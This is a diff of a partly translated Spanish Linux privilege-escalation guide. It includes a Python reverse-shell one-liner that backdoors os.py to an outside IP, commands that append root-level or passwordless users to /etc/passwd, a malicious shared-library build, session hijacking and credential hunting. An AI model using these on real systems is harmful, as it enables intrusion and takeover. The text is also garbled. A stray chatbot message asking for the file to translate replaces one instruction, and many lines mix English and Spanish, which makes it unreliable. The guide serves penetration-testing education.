[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ten en cuenta que si el usuario usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) O ejecutando algo como: ```bash @@ -1057,16 +1088,16 @@ zsh echo $PATH sudo ls ``` -## Biblioteca compartida +## Librería compartida ### ld.so -El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Típicamente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **de dónde provienen los archivos de configuración cargados**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` -Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde **se buscarán** **librerías**. Por ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará librerías dentro de `/usr/local/lib`**. +That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** **librerías**. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Esto significa que el sistema buscará librerías dentro de `/usr/local/lib`**. -Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta mencionada en el archivo de configuración dentro de `/etc/ld.so.conf.d/*.conf` podría ser capaz de escalar privilegios.\ -Toma un vistazo a **cómo explotar esta mala configuración** en la siguiente página: +If for some reason **un usuario tiene permisos de escritura** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` podría escalar privilegios.\ +Take a look at **cómo explotar esta mala configuración** in the following page: {{#ref}} @@ -1084,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en ese lugar según lo especificado en la variable `RPATH`. +Al copiar la biblioteca en `/var/tmp/flag15/`, será utilizada por el programa en ese lugar según lo especificado en la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1093,7 +1124,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Luego crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Luego crea una librería maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1108,8 +1139,8 @@ execve(file,argv,0); ``` ## Capacidades -Las capacidades de Linux proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede entonces ser otorgada independientemente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ -Lee la siguiente página para **aprender más sobre capacidades y cómo abusar de ellas**: +Linux capabilities proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede entonces ser otorgada de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ +Lee la siguiente página para **aprender más sobre capabilities y cómo abusarlas**: {{#ref}} @@ -1118,14 +1149,14 @@ linux-capabilities.md ## Permisos de directorio -En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" al directorio.\ -El bit **"read"** implica que el usuario puede **listar** los **archivos**, y el bit **"write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. +En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" dentro del directorio.\ +El bit **"read"** implica que el usuario puede **list** los **files**, y el bit **"write"** implica que el usuario puede **delete** y **create** nuevos **files**. ## ACLs -Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a un archivo o directorio al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles pueden encontrarse [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los tradicionales permisos ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son propietarios ni forman parte del grupo. Este nivel de **granularidad garantiza una gestión de acceso más precisa**. Más detalles pueden encontrarse [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dar** al usuario "kali" permisos read y write sobre un archivo: +**Conceder** al usuario "kali" permisos read y write sobre un archivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1136,10 +1167,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir shell sessions +## Sesiones shell abiertas -En **versiones antiguas** puedes **hijack** alguna **shell** session de un usuario distinto (**root**).\ -En **versiones más recientes** solo podrás **connect** a screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la session**. +En **versiones antiguas** puedes **hijack** alguna **sesión shell** de un usuario distinto (**root**).\ +En **versiones más recientes** solo podrás **conectarte** a las screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. ### screen sessions hijacking @@ -1156,11 +1187,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Secuestro de sesiones de tmux +## tmux sessions hijacking -Esto fue un problema con las **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como usuario no privilegiado. +Esto fue un problema con **versiones antiguas de tmux**. No pude realizar un hijack a una sesión de tmux (v2.1) creada por root como usuario no privilegiado. -**Listar sesiones tmux** +**Listar sesiones de tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1178,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Revisa **Valentine box from HTB** para un ejemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas las SSL y SSH keys generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.\ -Este bug se produce al crear una nueva ssh key en esos OS, ya que **only 32,768 variations were possible**. Esto significa que todas las posibilidades pueden calcularse y **having the ssh public key you can search for the corresponding private key**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.\ +Este bug se produce al crear una nueva ssh key en esos OS, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor por defecto es `no`. - **PubkeyAuthentication:** Especifica si se permite la autenticación por clave pública. El valor por defecto es `yes`. -- **PermitEmptyPasswords**: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite el login a cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. +- **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el inicio de sesión en cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. ### PermitRootLogin Especifica si root puede iniciar sesión usando ssh, el valor por defecto es `no`. Valores posibles: - `yes`: root puede iniciar sesión usando contraseña y private key -- `without-password` or `prohibit-password`: root solo puede iniciar sesión con private key -- `forced-commands-only`: Root solo puede iniciar sesión usando private key y si las opciones de commands están especificadas +- `without-password` or `prohibit-password`: root solo puede iniciar sesión con una private key +- `forced-commands-only`: Root solo puede iniciar sesión usando private key y si se especifican las opciones de commands - `no` : no ### AuthorizedKeysFile -Especifica archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **You can indicate absolute paths** (starting in `/`) o **relative paths from the user's home**. For example: +Especifica archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio de inicio. **Puedes indicar rutas absolutas** (que empiezan en `/`) o **rutas relativas desde el directorio de inicio del usuario**. Por ejemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Esa configuración indicará que si intentas iniciar sesión con la clave **private** del usuario "**testusername**", ssh va a comparar la public key de tu key con las que están ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` +Esa configuración indicará que si intentas iniciar sesión con la **private** key del usuario "**testusername**", ssh comparará la public key de tu key con las que están ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (¡without passphrases!) alojadas en tu servidor. De este modo podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. +SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** via ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. -Necesitas configurar esta opción en `$HOME/.ssh.config` de la siguiente manera: +Necesitas configurar esta opción en `$HOME/.ssh.config` así: ``` Host example.com ForwardAgent yes ``` -Ten en cuenta que si `Host` es `*`, cada vez que el usuario salta a otra máquina, esa máquina podrá acceder a las claves (lo cual es un problema de seguridad). +Fíjate que si `Host` es `*` cada vez que el usuario salte a una máquina diferente, esa máquina podrá acceder a las claves (lo cual es un problema de seguridad). -El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ -El archivo `/etc/sshd_config` puede **permitir** o **denegar** el ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido). +El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\ +El archivo `/etc/sshd_config` puede **permitir** o **denegar** ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido). -Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página ya que **podrías abusar de ello para escalar privilegios**: +Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**: {{#ref}} @@ -1233,17 +1264,17 @@ ssh-forward-agent-exploitation.md ## Archivos interesantes -### Archivos de perfil +### Archivos de profiles -El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia un nuevo shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. +El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil extraño, deberías revisarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil extraño, debes comprobarlo en busca de **detalles sensibles**. ### Archivos Passwd/Shadow -Dependiendo del OS, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede existir una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: +Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede existir una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1254,7 +1285,7 @@ En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/e ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd con permisos de escritura +### Escribible /etc/passwd Primero, genera una contraseña con uno de los siguientes comandos. ``` @@ -1262,23 +1293,23 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Luego añade el usuario `hacker` y añade la password generada. +Necesito el contenido de src/linux-hardening/privilege-escalation/README.md para traducirlo. ¿Quieres además que incluya comandos para añadir el usuario `hacker` en una máquina Linux y que genere una contraseña segura? Si es así, ¿prefieres que incluya los comandos exactos (useradd, chpasswd, etc.) o solo instrucciones paso a paso? ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ej.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Por ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` -Alternativamente, puedes usar las siguientes líneas para agregar un usuario dummy sin contraseña.\ +Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.\ ADVERTENCIA: podrías degradar la seguridad actual de la máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: En plataformas BSD `/etc/passwd` está ubicado en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. +NOTA: En plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. -Deberías comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? +Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1293,11 +1324,11 @@ Tu backdoor se ejecutará la próxima vez que se inicie tomcat. ### Comprobar carpetas -Las siguientes carpetas pueden contener backups o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) +Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Archivos en ubicaciones extrañas/Owned +### Ubicación extraña/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1348,20 +1379,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Archivos conocidos que contienen contraseñas -Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), que busca **varios archivos que podrían contener contraseñas**.\ -**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto utilizada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. +Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ +**Otra herramienta interesante** que puedes usar para ello es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. ### Logs Si puedes leer logs, podrías encontrar **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ -Además, algunos **mal** configurados (backdoored?) **audit logs** pueden permitirte **registrar contraseñas** dentro de los audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Además, algunos "**mal**" configurados (backdoored?) **audit logs** pueden permitirte **registrar contraseñas** dentro de audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. +Para poder **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. -### Archivos Shell +### Archivos de Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1372,41 +1403,41 @@ Para **leer logs**, el grupo [**adm**](interesting-groups-linux-pe/index.html#ad ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Búsqueda genérica de Creds/Regex +### Generic Creds Search/Regex -También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o expresiones regulares de hashes.\ -No voy a enumerar aquí cómo hacer todo esto pero si te interesa puedes revisar las últimas comprobaciones que realiza [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +También deberías revisar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o hashes regexps.\ +No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que realiza [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Archivos escribibles ### Python library hijacking -Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir en** esa carpeta o puedes **modificar python libraries**, puedes modificar la librería os y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la librería os.py). +Si sabes **desde dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la os.py library). -Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP y PORT): +Para **backdoor the library** simplemente añade al final de la os.py library la siguiente línea (cambia IP y PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Explotación de Logrotate +### Explotación de logrotate -Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padres potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante comprobar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. +Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que suele ejecutarse como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. > [!TIP] > Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores -Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que cuando encuentres que puedes alterar logs, revisa quién está gestionando esos logs y comprueba si puedes escalar privilegios sustituyendo los logs por symlinks. +Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que encuentres que puedes modificar logs, verifica quién está gestionando esos logs y comprueba si puedes escalar privilegios sustituyendo los logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referencia de la vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **system is pwned**. +Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**. -Los network scripts, _ifcg-eth0_ por ejemplo, se usan para las conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d). +Los scripts de red, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Parecen exactamente archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d). En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**. @@ -1418,15 +1449,15 @@ DEVICE=eth0 ``` (_Nota el espacio en blanco entre Network y /bin/id_) -### **init, init.d, systemd y rc.d** +### **init, init.d, systemd, and rc.d** -El directorio `/etc/init.d` es el hogar de **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y en ocasiones `reload` de servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos ubicados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. +El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos que se encuentran en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. -Por otro lado, `/etc/init` está asociado con **Upstart**, un sistema más nuevo de **gestión de servicios** introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +Por otro lado, `/etc/init` está asociado con **Upstart**, un **mecanismo de gestión de servicios** más reciente introducido por Ubuntu, que usa archivos de configuración para las tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto a las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. -**systemd** emerge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como inicio bajo demanda de daemons, gestión de montajes automáticos y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de la distribución y `/etc/systemd/system/` para modificaciones del administrador, agilizando el proceso de administración del sistema. +**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, simplificando la administración del sistema. -## Otros trucos +## Other Tricks ### NFS Privilege escalation @@ -1435,7 +1466,7 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, un sistema más nuevo nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Escapar de shells restringidos {{#ref}} @@ -1451,13 +1482,23 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Los Android rooting frameworks suelen hookear una syscall para exponer funcionalidades privilegiadas del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., signature checks basados en FD-order o esquemas de contraseña pobres) puede permitir que una app local suplante al manager y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +La detección de servicios impulsada por regex en VMware Tools/Aria Operations puede extraer una ruta de binario desde las líneas de comando de procesos y ejecutarlo con -v en un contexto privilegiado. Patrones permisivos (p. ej., usando \S) pueden coincidir con listeners preparados por un atacante en ubicaciones escribibles (p. ej., /tmp/httpd), llevando a la ejecución como root (CWE-426 Untrusted Search Path). + +Aprende más y ve un patrón generalizado aplicable a otros stacks de discovery/monitoring aquí: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1469,20 +1510,24 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Mejor herramienta para buscar vectores de Linux local privilege escalation:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Mejor herramienta para buscar vectores de local privilege escalation en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades del kernel en Linux y MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referencias +## References + +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1505,4 +1550,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → 